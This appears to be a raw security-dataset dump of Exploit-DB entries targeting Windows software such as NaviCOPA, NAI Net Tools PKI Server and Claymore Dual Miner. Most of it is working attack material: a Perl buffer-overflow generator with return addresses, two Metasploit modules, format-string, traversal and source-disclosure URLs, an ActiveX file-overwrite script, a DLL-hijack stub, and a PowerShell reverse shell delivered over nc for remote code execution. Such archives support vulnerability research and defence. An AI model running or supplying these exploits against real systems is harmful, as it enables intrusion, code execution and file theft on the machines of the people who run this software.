deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17581
Description: MyWebServer 1.0.3 - Arbitrary File Download
Type: remote
Platform: windows
Date: 2011-07-28
Author: X-h4ck

Exploit:
# Exploit Title : MyWebServer v1.0.3 File Download
# Software link : http://www.softpedia.com/get/Internet/Servers/WEB-Servers/MyWebServer.shtml
# Version       : 1.0.3
# Tested on     : Windows 7 (Home Premium)
# Date          : 28/07/2011
# Author        : X-h4ck
# Website       : http://www.pirate.al , http://theflashcrew.blogspot.com
# Email         : mem001@live.com
# Greetz        : Wulns~ - Danzel - IllyrianWarrior- Ace - M4yh3m - Saldeath - bi0 - Slimshaddy - d3trimentaL - Lekosta - Pretorian - CroSs - Rigon - mywisdom

http://127.0.0.1/index.php. /html. #File Download
http://IP:PORT/index.php. /html.

http://127.0.0.1/index.php%20 #File Download
http://IP:PORT/index.php%20
Exploit-DB #20134
Description: NAI Net Tools PKI Server 1.0 - 'strong.exe' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2000-08-02
Author: juliano

Exploit:
source: https://www.securityfocus.com/bid/1536/info

Certain versions of Network Associates Inc.'s Net Tools PKI (Public Key Infrastructure) server ship with a buffer overflow vulnerability which could lead to a remote compromise of the system running the PKI server. The problem lies within the webserver component of the PKI server (strong.exe) which operates several 'virtual servers' required to operate the PKI server. The first is the Administrative Web Server which listens via TCP port 443, the second is Enrollment Web Server which listens on TCP port 444. Unlike the Administrative Web Server the Enrollment Web Server does not require credentials to be exchanged before a user can talk to the webserver. It is via this virtual server that an attacker can exploit the problem at hand.

In particular this problem is located in the PKI servers log generation routines. In order to exploit it, a user must simply connect via an HTTPS connection to port 444 and provide an overly long URL (2965 + characters) which will be mishandled by the log routines resulting in a buffer overflow. 

#!/usr/bin/perl
# NAI NetTools PKI SERVER 1.0 - Long URL Stack Overflow Exploit
# Replace host and port an create the html file:
#./pkiluso.pl > test.html
#Open the html in a SSL compatible browser and click on the link. puf!
#Juliano Rizzo (c) 2000 juliano@core-sdi.com

$host = "localhost";
$port = "444";
$shell_code= "\x90\x90\x90\x90";

#We can set the values of EIP and EBP, our code is on the stack
#and in 0x01613A2E.
$eip = "\x2E\x3A\x61\x01";#0x01613A2E (URL readed from socket)
#$eip = "\x64\x83\x40%00";#0x00408364 (CALL EBP)
$ebp = "\xCB\xF2\01\x02"; #0x0200F2CB (trunca el string por el 00)
$noplen = (2965 - length($shell_code));
print "<html><body><a href=\"https://".$host.":".$port."/";
print "\x90"x$noplen;
print
$shell_code.$ebp.$eip."\x18\x6B\x62\x01\x18\x6B\x62\x01\x18\x6B\x62\x01".
"\">Click here to exploit.!</a></body></html>";
Exploit-DB #20135
Description: nai net tools pki server 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2000-08-02
Author: Juliano Rizzo

Exploit:
source: https://www.securityfocus.com/bid/1537/info

Certain versions of Network Associates Inc.'s Net Tools PKI (Public Key Infrastructure) server ship with a vulnerability which allows remote attackers to read any file in the system which the PKI server resides. The problem lies within the webserver component of the PKI server (strong.exe) which operates several 'virtual servers' required to operate the PKI server. The first is the Administrative Web Server which listens via TCP port 443, the second is Enrollment Web Server which listens on TCP port 444. Unlike the Administrative Web Server the Enrollment Web Server does not require credentials to be exchanged before a user can talk to the webserver. It is via this virtual server that an attacker can exploit the problem at hand.

The problem in particular is a failure on behalf of the web server to enforce a web root directory. Therefore, a user may walk the entire directory tree of the target host and view files of which they know the locations. Autoexec.bat for example, backup SAM files etc.

By default the enrollment server uses \Program Files\Network Associates\Net Tools PKI Server\WebServer\enroll-server as the Web Root directory. In a properly written webserver a user should only be able to move forward in the tree not backward.

https://host:444/..\..\..\..\..\autoexec.bat
Exploit-DB #20136
Description: NAI Net Tools PKI Server 1.0 - Format String
Type: remote
Platform: windows
Date: 2000-08-02
Author: Juliano Rizzo

Exploit:
source: https://www.securityfocus.com/bid/1538/info

Certain versions of Network Associates Inc.'s Net Tools PKI (Public Key Infrastructure) server ship with a vulnerability which allows remote attackers to execute arbitrary commands on the system which the PKI server resides. The problem lies within the webserver component of the PKI server (strong.exe) which operates several 'virtual servers' required to operate the PKI server. The first is the Administrative Web Server which listens via TCP port 443, the second is Enrollment Web Server which listens on TCP port 444. Unlike the Administrative Web Server the Enrollment Web Server does not require credentials to be exchanged before a user can talk to the webserver. It is via this virtual server that an attacker can exploit the problem at hand. The following is taken directly from the CORE SDI advisory on this issue:

"User supplied URL's are processed by Strong.exe. If a url with an .XUDA extension is found, the request is forwarded to XUDAD.EXE for further processing. Prior to this "hand-off" the URL string is parsed, filtered for meta characters and passed to a function that logs the request. Somewhere along the processing path, the user supplied data becomes the format string for a formatted output function similar to the ANSI C sprintf(). This allows a remote attacker to provide data that will force that function into overwriting arbitrary portions of the process memory and cause either a denial of service attack or the execution of arbitrary code."

https://host:444/xxx%3c%b9%ff%01%25%25x%25%25x%25%25x%25%25x%25%25x%25\ %25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25\ %25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25\ %25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25\ %25x%25%25x%25x%25n.xuda

note: the string has been wrapped for readability.
Exploit-DB #44638
Description: Nanopool Claymore Dual Miner 7.3 - Remote Code Execution
Type: remote
Platform: windows
Date: 2018-05-17
Author: ReverseBrain

Exploit:
# Exploit Title: Nanopool Claymore Dual Miner >= 7.3 Remote Code Execution
# Date: 2018/02/09
# Exploit Author: ReverseBrain
# Vendor Homepage: https://nanopool.org/
# Software Link: https://github.com/nanopool/Claymore-Dual-Miner
# Version: 7.3 and later
# Tested on: Windows, Linux
# CVE : 2[PII_REDACTED]

Suppose the miner is running on localhost on port 3333. First of all you need to convert a .bat string into hexadecimal format, for example, this one uses powershell to spawn a reverse shell on localhost listening on port 1234:

powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Convert it into hexadecimal and paste it on the second parameter inside this string:

echo '{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","HEX_STRING"]}' | nc 127.0.0.1 3333 -v

Then, to trigger the vulnerability just send {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
string to the miner.

echo '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' | nc 127.0.0.1 3333 -v

You got the shell!

This exploit works also on Linux, just substitute reboot.bat with reboot.bash or reboot.sh.
Exploit-DB #26306
Description: NateOn Messenger 3.0 - Arbitrary File Download / Buffer Overflow
Type: remote
Platform: windows
Date: 2005-09-29
Author: saintlinu

Exploit:
source: https://www.securityfocus.com/bid/14974/info

NateOn Messenger is susceptible to an arbitrary file download vulnerability, and a buffer overflow vulnerability. These issues are present in the 'NateonDownloadManager.ocx' ActiveX control that is installed with the application.

An attacker would exploit these issues by creating malicious HTML containing script code that accesses the vulnerable ActiveX controls. This issue allows remote attackers to fetch arbitrary remote files and save them on the local machine.

The buffer overflow vulnerability allows remote attackers to execute arbitrary machine code in the context of the user running the affected software, facilitating remote system compromise.

Attackers may utilize these vulnerabilities in conjunction with each other in order to transfer malicious code to targeted users, and then execute it. 

To exploit the arbitrary file download vulnerability, a malicious Web page may include the following script code:

GotNate.Excute("1",'http://www.example.com/somefile.exe','c:\\windows\\system32\\cmd.exe');
Exploit-DB #35007
Description: Native Instruments (Multiple Products) - DLL Loading Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2010-11-19
Author: Gjoko Krstic

Exploit:
// source: https://www.securityfocus.com/bid/44989/info

Multiple products from Native Instruments are prone to multiple vulnerabilities that let attackers execute arbitrary code.

An attacker can exploit these issues by enticing a legitimate user to use a vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

The issues affect the following:

Guitar Rig 4 Player 4.1.1
KONTAKT 4 PLAYER 4.1.3.4125
Service Center 2.2.5
REAKTOR 5 PLAYER 5.5.1.10584 

/*

 Native Instruments Guitar Rig 4 Player v4.1.1 Insecure Library Loading Vulnerability


 Vendor: Native Instruments GmbH
 Product web page: http://www.native-instruments.com
 Affected version: 4.1.1.1845 (Standalone)

 Summary: GUITAR RIG 4 PLAYER is the free, modular and expandable effects processor
 from Native Instruments, combining creative effects routing possibilities with
 ease-of-use and pristine sound quality. The included FACTORY SELECTION library
 provides one stunning Amp emulation with Matched Cabinet, plus 20 effects and sound
 modifiers to shape and enhance any audio signal.

 Desc: Guitar Rig 4 Player suffers from a DLL hijacking vulnerability, which could be
 exploited by remote attackers to compromise a vulnerable system. This issue is
 caused due to the application insecurely loading certain libraries ("libjack.dll")
 from the current working directory, which could allow attackers to execute arbitrary
 code by tricking a user into opening specific related files (.nkm and .nkp) from a
 network share.

 Tested on: Microsoft Windows XP Professional SP3 (English)

 Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk

 Advisory ID: ZSL-2010-4973
 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4973.php

 06.11.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

        switch (fdwReason)
        {
                case DLL_PROCESS_ATTACH:
                dll_mll();
                case DLL_THREAD_ATTACH:
                case DLL_THREAD_DETACH:
                case DLL_PROCESS_DETACH:
                break;
        }

        return TRUE;
}

int dll_mll()
{
        MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
Exploit-DB #9900
Description: NaviCOPA 3.0.1.2 - Source Disclosure
Type: remote
Platform: windows
Date: 2009-10-14
Author: Dr_IDE

Exploit:
################################################
#
# NaviCOPA Web Server <= 3.0.1.2 Remote Source Disclosure
# Found By: Dr_IDE
# Tested On: Windows XPSP3
# Download: www.navicopa.com/download.html
#
################################################

- Description -

NaviCOPA Web Server <= 3.0.1.2 is a Windows based HTTP server. This is the latest
version of the application available.

NaviCOPA is vulnerable to remote arbitrary source code disclosure by the
following means.

- Technical Details -

http://[ webserver IP]/[ file ][%20]

http://172.16.2.101/index.html%20
http://172.16.2.101/index.php%20

[pocoftheday.blogspot.com]
Exploit-DB #16808
Description: NaviCOPA Web Server 2.0.1 - URL Handling Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-12
Author: Metasploit

Exploit:
##
# $Id: navicopa_get_overflow.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /InterVations/ ] }

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in NaviCOPA 2.0.1.
				The vulnerability is caused due to a boundary error within the
				handling of URL parameters.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9797 $',
			'References'     =>
				[
					[ 'CVE', '2006-5112' ],
					[ 'OSVDB', '29257' ],
					[ 'BID', '20250' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll
				],
			'DisclosureDate' => 'Sep 28 2006',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(80)
			], self.class )
	end

	def check
		connect

		sock.put("GET / HTTP/1.0\r\n\r\n")
		resp = sock.get_once
		disconnect

		if (resp =~ /2.01 11th September/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit =  rand_text_alphanumeric(228, payload_badchars)
		sploit << [target.ret].pack('V') + payload.encoded

		uri = '/' + sploit

		res = "GET #{uri} HTTP/1.1\r\n\r\n"

		print_status("Trying target %s" % target.name)

		sock.put(res)
		sock.close

		handler
		disconnect
	end

end
Exploit-DB #3092
Description: NaviCOPA Web Server 2.01 - 'GET' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2007-01-07
Author: Jacopo Cervini

Exploit:
##	
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::navicopa_get_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };

my $info =
  {
	'Name'  => 'Navicopa 2.01 Buffer Overflow',
	'Version'  => '$Revision: 0.1 $',
	'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32' ],
	'Priv'  => 1,

	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 80],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Payload' =>
	  {
		'Space'     => 400,
		'MinNops'	=> 16,
		'BadChars'  => "\x00\x20\x0a\x0d\x2f\x25\x3f",
		'Keys'      => ['+ws2ord'],
	  },
	  

	'Description'  => Pex::Text::Freeform(qq{
This module exploits a classical stack overflow in Navicopa Web Server 2.01 version		
Credit to h07 for discovered this vulnerability.
This is a port to the original h07 c code.  
}),

	'Refs'  =>
	  [
			['BID',   20250],
			  ],

	'Targets' =>
	  [
		['Windows 2k/XP for all service pack English',228, 0x1002c46f ], #  push esp,ret in IV320009.dll
		['Windows 2k/XP for all service pack Italian',227, 0x1002c46f ], #  push esp,ret in IV320009.dll

	  ],

	'Keys' => ['navicopa'],
	'DisclosureDate' => 'Sep 28 2006',


  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

	my $target = $self->Targets->[$target_idx];


	my $pattern = $self->MakeNops($target->[1]);
	$pattern .= pack('V', $target->[2]);
	$pattern .= $self->MakeNops(32);
	$pattern .= $shellcode;

	my $request = "GET " . $pattern ." HTTP/1.1\r\n\r\n";

	$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using push esp ret at 0x%.8x...", $target->[2]));

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$s->Send($request);
	sleep(3);
	$s->Recv(-1, 10);
	$s->Close();
	return;
}

# milw0rm.com [2007-01-07]
Exploit-DB #7966
Description: NaviCOPA Web Server 3.0.1 - Remote Buffer Overflow / Script Source Disclosure
Type: remote
Platform: windows
Date: 2009-02-03
Author: e.wiZz!

Exploit:
######################  NaviCopa webserver 3.0.1 Multiple Vulnerabilities   #################


##### By:  e.wiZz!    Bosnian Idiot FTW!

##### Mail:  ew1zz@hotmail.com

##### Greetz goes to GYEZ(you know who you are lol)




In the wild...

################################################

##### Vendor site:  http://www.navicopa.com/

##### Platforms: Windows OS only

#####Info:  Award Winning NaviCOPA is ideal for business users who require a powerful and flexible Web Server,
but don't want to have to spend months learning how to configure it.



######[Script Source Disclousure]###############

If we add dot at end of URI,server won't execute script,so we can see source code:

PoC:

http://localhost/index.html.



###########[Buffer Overflow]#####################

Buffer Overflow exist if we supply more than 5400~ characters to root directory.Similar thing reported
at version 2.01 of this software  https://www.securityfocus.com/bid/20250   (/cgi-bin/AAAA..)

PoC:

GET /AAAAAAAAAAAAAAAAAA... HTTP/1.0   




In memory of shinnai.

# milw0rm.com [2009-02-03]
Exploit-DB #9694
Description: NaviCOPA Web Server 3.01 - Source Code Disclosure
Type: remote
Platform: windows
Date: 2009-09-16
Author: Dr_IDE

Exploit:
#################################################################################
#
# NaviCOPA Web Server 3.01 Remote Source Code Disclosure
# Found By:		Dr_IDE
# Tested On:	Windows XPSP3
#
#################################################################################

- Description -

NaviCOPA Web Server 3.01 is a Windows based HTTP server. This is the latest version of
the application available. 

NaviCOPA is vulnerable to remote arbitrary source code disclosure by the following means.

- Technical Details -

	http://[ webserver IP]/[ file ][::$DATA]
	
	http://172.16.2.101/index.html::$DATA

	http://172.16.2.101/default.asp::$DATA

	http://172.16.2.101/index.php::$DATA

# milw0rm.com [2009-09-16]
Exploit-DB #4101
Description: NCTAudioEditor2 ActiveX DLL 'NCTWMAFile2.dll 2.6.2.157' - File Write
Type: remote
Platform: windows
Date: 2007-06-25
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------
 <b>NCTAudioEditor2 ActiveX DLL (NCTWMAFile2.dll v. 2.6.2.157) "CreateFile()"Insecure Method</b>
 url: http://www.nctsoft.com/products/NCTAudioEditor2/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx (for example Sienzo DMM) are vulnerable to this exploits.

 Time Table: 2007/20/06 -> Bug discovered
             2007/20/06 -> Vendor notified by mail
             2007/21/06 -> No response, vendor notified by web form
             2007/22/06 -> No response from vendor
             2007/23/06 -> No response from vendor
             2007/24/06 -> No response from vendor
             2007/25/06 -> Public disclosure
------------------------------------------------------------------------------------------

<object classid='clsid:6ED74AE3-8066-4385-AABA-243E033F75A3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.CreateFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"NCTAudioEditor2")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "NCTAudioEditor2")
   End If 
 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-25]